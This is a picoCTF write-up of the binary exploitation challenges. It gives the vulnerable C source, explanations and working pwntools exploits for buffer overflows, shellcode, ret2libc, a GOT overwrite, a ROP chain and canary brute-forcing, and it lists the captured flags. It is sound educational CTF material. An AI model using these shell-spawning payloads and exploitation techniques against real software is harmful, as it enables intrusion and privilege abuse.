picoCTF - pwn

Description

This was my first time playing in picoCTF. I was pleasantly surprised with the quality and progression of the challenges. Using this to my advantage, I decided to go through the binary exploitation series in an attempt to better hone my fundamentals and exploit development skills.

Buffer Overflow 0

In this challenge, we’re given a vulnerable binary and it’s corresponding source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL)
  {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  if (argc > 1)
  {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
  {
    printf("This program takes 1 argument.\n");
  }
  return 0;
}

From a cursory glance at the source code, we see the binary take a single command line argument and copies it into a character buffer of size 16, without any length checks. This is where our overflow will occur. Next we must find the offset to eip - once we control eip, we control the execution of the binary.

Using pattern_create.rb and pattern_offset.rb we find the offset of eip is 28 characters. In gdb: run $(`locate pattern_create` -l 50) Note: GEF offers this functionality as pattern create <LENGTH> within gdb.

This displays the crash and tells us that eip is trying to find the address of a9Ab. Using `locate pattern_offset.rb` -q a9Ab we know now that any input after 28 characters will overwrite eip. Thus, we can disasemble the function sigsegv_handler and overwrite eip with it’s address.

./vuln $(python -c 'print "A"*28 + "\x2b\x86\x04\x08"')
picoCTF{ov3rfl0ws_ar3nt_that_bad_b49d36d2}

Buffer Overflow 1

Similar to the previous challenge, we are give a binary and it’s source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

This binary performs the vulnerable gets() call for a 32 character buffer - again with no length constraints on our input. Using the same tactics as before, we fuzz the input with a unique string to determine the offset of eip. With pattern_create.rb we get an offset of 44.

Appending the address of win, we get the flag. This exploit didn’t have a public facing port, so we had to run our exploit locally on the picoCTF box.

#!/usr/bin/python
from pwn import *
import sys
import os

def exploit(r):
    payload = ''
    payload += "A"*44
    payload += p32(0x080485cb)

    r.sendlineafter(': ',payload)
    r.recvline()
    r.recvline()
    print r.recvline()
    return

if __name__ == '__main__':
    name = "./vuln"
    binary = ELF(name)

    context.terminal=["tmux", "sp", "-h"]

    if len(sys.argv) > 1:
        #r = remote(HOST,PORT)
        r = process(name, env={})
    else:
        r = process(name, env={})
        gdb.attach(r, """

        c
        """)
    exploit(r)
picoCTF{addr3ss3s_ar3_3asy14941911}

Leak Me

Given the binary and source for this challenge, we start by parsing the source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw:
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL){
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

First, we notice that memory has first been allocated for a password and then the name, respectively. Next, we notice that the user-supplied username is displayed back to us via puts(), without any length restrictions. Thus, if we’re able to overflow the name pointer, then we would be able to leak the contents of the password via puts(). Sending a name of length 300 proved this correct!

def exploit(r):
    payload = ''
    payload += "A"*300 #cause a leak from username
    r.sendlineafter('?\n',payload)
    r.interactive()
    return
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_a28d9d

Now that we have the password, we can simply login to the binary as intended.

def exploit(r):
    r.sendlineafter('?\n','admin')
    r.sendlineafter('.\n','a_reAllY_s3cuRe_p4s$word_a28d9d')
    r.interactive()
    return
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_ee6111c9}

Shellcode

As usual, we begin by performing a code audit on the source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

Immediately we notice that the whole point of this challenge is simply to create a straightforward payload that will spawn a shell. Using pre-generated shellcode from shell-storm, we get the flag.

def exploit(r):
    payload = ''
    payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    payload += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    r.recvuntil('!\n')
    r.send(payload)
    r.interactive()
    return
picoCTF{shellc0de_w00h00_b766002c}

Buffer Overflow 2

This challenge was nearly identical to Buffer Overflow 1, with a single caveat - we had to pass two arguments to the win() function.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Due to the calling structure of x86, we structured our shellcode to call the win() function, followed by the address of return in main, followed by the arguments required to print the flag.

Note: We could fill the return address with anything, but by using the address of exit() we are allowing the binary properly exit, preventing a segmentation fault.

def exploit(r):
    payload = ''
    payload += "A"*112 # offset to EIP
    payload += p32(0x080485cb)    #addr of win()
    payload += p32(0x080486cf)    #ret to exit()
    payload += p32(0xDEADBEEF)    #arg1 of win()
    payload += p32(0xDEADC0DE)    #arg2 of win()

    r.sendlineafter(': \n',payload)
    r.interactive()
    return
picoCTF{addr3ss3s_ar3_3asy1b78b0d8}

got-2-learn-libc

After reading the source code we see that vuln() has a simple buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  vuln();

  return 0;
}

Using pattern_create.rb and pattern_offset.rb, we find an offset of 160. We now have control of eip and it appears the challenge requires you to call execve or system with the provided /bin/sh string. To do this, we need to first figure out which libc we’re working with. We’ll try calling one of the provided addresses. First we try puts() but no luck. Next we try fflush() and voila!

0xf7d74010 in ?? () from /lib/i386-linux-gnu/libc.so.6

Great - but this is our local libc. This reminds me! There is a much easier way to find which libc is being used.

$ ldd vuln
    linux-gate.so.1 =>  (0xf76e8000)
    libc.so.6 => /lib32/libc.so.6 (0xf7522000)
    /lib/ld-linux.so.2 (0xf76e9000)

Copying over the libc allows us to calculate the offset of system() from fflush() via libc base pointer. Using readelf:

$ readelf -s /lib32/libc.so.6 | grep fflush()
    88: 000000000005d330   311 FUNC    WEAK   DEFAULT   13 fflush@@GLIBC_2.2.5
    226: 0000000000077fb0    45 FUNC    WEAK   DEFAULT   13 fflush_unlocked@@GLIBC_2.2.5
    466: 000000000006d7a0   311 FUNC    GLOBAL DEFAULT   13 _IO_fflush@@GLIBC_2.2.5

we find the offset of fflush() is 0x0005d330 and the offset of system() is 0x0003a940.

With all our address, we make a call to system('/bin/sh') and we get our flag.

eip_offset = 160
libc_system_offset = 0x0003a940 # offset of system
libc_fflush_offset = 0x0005d330 # offset of fflush

def exploit(r):
    # Grab fflush and /bin/sh
    r.recvuntil('fflush ')
    fflush_addr = int(r.recv(10),16)
    r.recvuntil('_string: ')
    bin_sh_addr = int(r.recv(10),16)

    # Calculate libc base addr and system()
    libc_base = fflush_addr - libc_fflush_offset
    system_addr = libc_base + libc_system_offset

    log.info("libc base : %s" % hex(libc_base))
    log.info("fflush()  : %s" % hex(fflush_addr))
    log.info("system()  : %s" % hex(system_addr))
    log.info("/bin/sh   : %s" % hex(bin_sh_addr))

    # I/O
    print r.recvuntil('a string:\n')

    # Create Payload
    payload = ''
    payload += '\x90'*eip_offset
    payload += p32(system_addr)
    payload += p32(0x565558f4) #ret2main
    payload += p32(bin_sh_addr)

    # I/O
    r.sendline(payload)
    print r.recvuntil('...\n')

    r.interactive()
    return
picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}

Echooo

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 23397

Authenticate

Analyzing the source code tells us that in order to get the flag, we must change the value of authenticaed to any integer other than 0 (recall: any value beside 0 evaluates to True in C). Since the code takes our input and displays it back to us via printf() we see that this may be a potential format string attack. From our reading, we know that via a format string vulnerability, we can write an integer into any arbitrary address (given that ASLR is disabled).

Disasembling the if/else statement, we see that mov eax,ds:0x804a04c. We know that C stores globally delarced variables in the Data Segment, i.e. DS. Thus we have the address of the global int, authenticated. With this, we can overwrite the value to anything else.

picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0f2666af}

got-shell?

Source

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

void win() {
  system("/bin/sh");
}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[256];

  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);

  scanf("%x", &value);

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;

  puts("Okay, exiting now...\n");
  exit(1);

}

This challenge allows two inputs - we can pick an address and value to write into. Our tentative idea is to overwrite the value of the last puts() statement in the global offset table (GOT) with the address of the win() function, hopefully launching us a shell.

HOST = '2018shell2.picoctf.com'
PORT = 23731

win_addr = '0x0804854b'
puts_got_addr = '0x0804a00c'

def exploit(r):
    addr = puts_got_addr
    val = win_addr

    r.sendlineafter('value?\n',addr) #takes str type
    r.sendlineafter('\n',val)  #takes str type
    r.interactive()
    return
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}

rop chain

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);

  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

This challenge presents us with a typically looking memory corruption. With pattern_offset.rb we find the offset to control eip. After this, we begin to break down the logic of the code. To get the flag, we need to set both win1 and win2 to true while also passing the argument 0xDEADBAAD to the flag() function. To understand how to call these functions and pass them each parameters requires we understand how to call stack frame works.

Address of win1
Return to address of win_function2()
Return to address of flag
argument for win_function2()
arguement for flag()
eip_offset = 28
win1_addr = 0x080485cb
win2_addr = 0x080485d8
flag_addr = 0x0804862b

def exploit(r):
    payload = ''
    payload += 'A'*eip_offset
    #payload += os.popen("`locate 'pattern_create.rb'` -l 50").read()

    #Return to win1 then win2 with arg1=0xBAAAAAAD
    rop = ''
    rop += p32(win1_addr)
    rop += p32(win2_addr)  #return addr after win_function1()
    rop += p32(flag_addr)  #return addr after win_function2()
    rop += p32(0xBAAAAAAD) #arg for win_function2()
    rop += p32(0xDEADBAAD) #arg for flag()

    r.sendlineafter('> ',payload+rop)
    r.interactive()
    return
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}

Buffer Overflow 3

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

From the source code there’s two different approaches to take; we can brute force the stack canary or since the exploit must be run locally, we can abuse relative paths.

canary_offset = 32
eip_offset = 16 #offset from canary
win_addr = 0x080486eb
canary = 0x2c567834

def oracle():
    canary = ''
    guess = 0x00
    payload = ''
    payload += 'A'*canary_offset

    #brute force next 4 addresses
    while len(canary) < 4:
        while guess != 0xff:
            r = process(name,env={})

            r.recvuntil('?\n> ')
            r.sendline('36')

            r.recvuntil("Input> ")
            r.sendline(payload + p8(guess))

            result = r.recvline() #either "stack smashing detected" or "where's the flag?"
            print result
            r.close()
            log.info("Sent: %s" % hex(guess))

            if 'Corrupt!' in result:
                log.info('Corrupt')

            if 'Flag?' in result:
                print "Guessed correct byte:", format(guess, '02x')
                canary += p8(guess)
                payload += p8(guess)
                guess = 0x0
                break
            guess += 1
            pause()
    return

def exploit(r):
    payload = ''
    payload += 'A'*canary_offset
    payload += p32(canary)     #pack canary into overflow to bypass security restrictions
    payload += 'A'*eip_offset
    payload += p32(win_addr)*3   #overwrite eip with addr of win()
    #payload += 'B'*4
    #payload += p32(binary.symbols['exit'])
    #payload += p32(win_addr)

    log.info('Sending payload %s' % payload)
    r.sendlineafter('\n> ', '%s' % str(len(payload)+1))
    r.sendlineafter('Input> ', payload)

    print r.recvline()
    return
picoCTF{eT_tU_bRuT3_F0Rc3_58bc7747}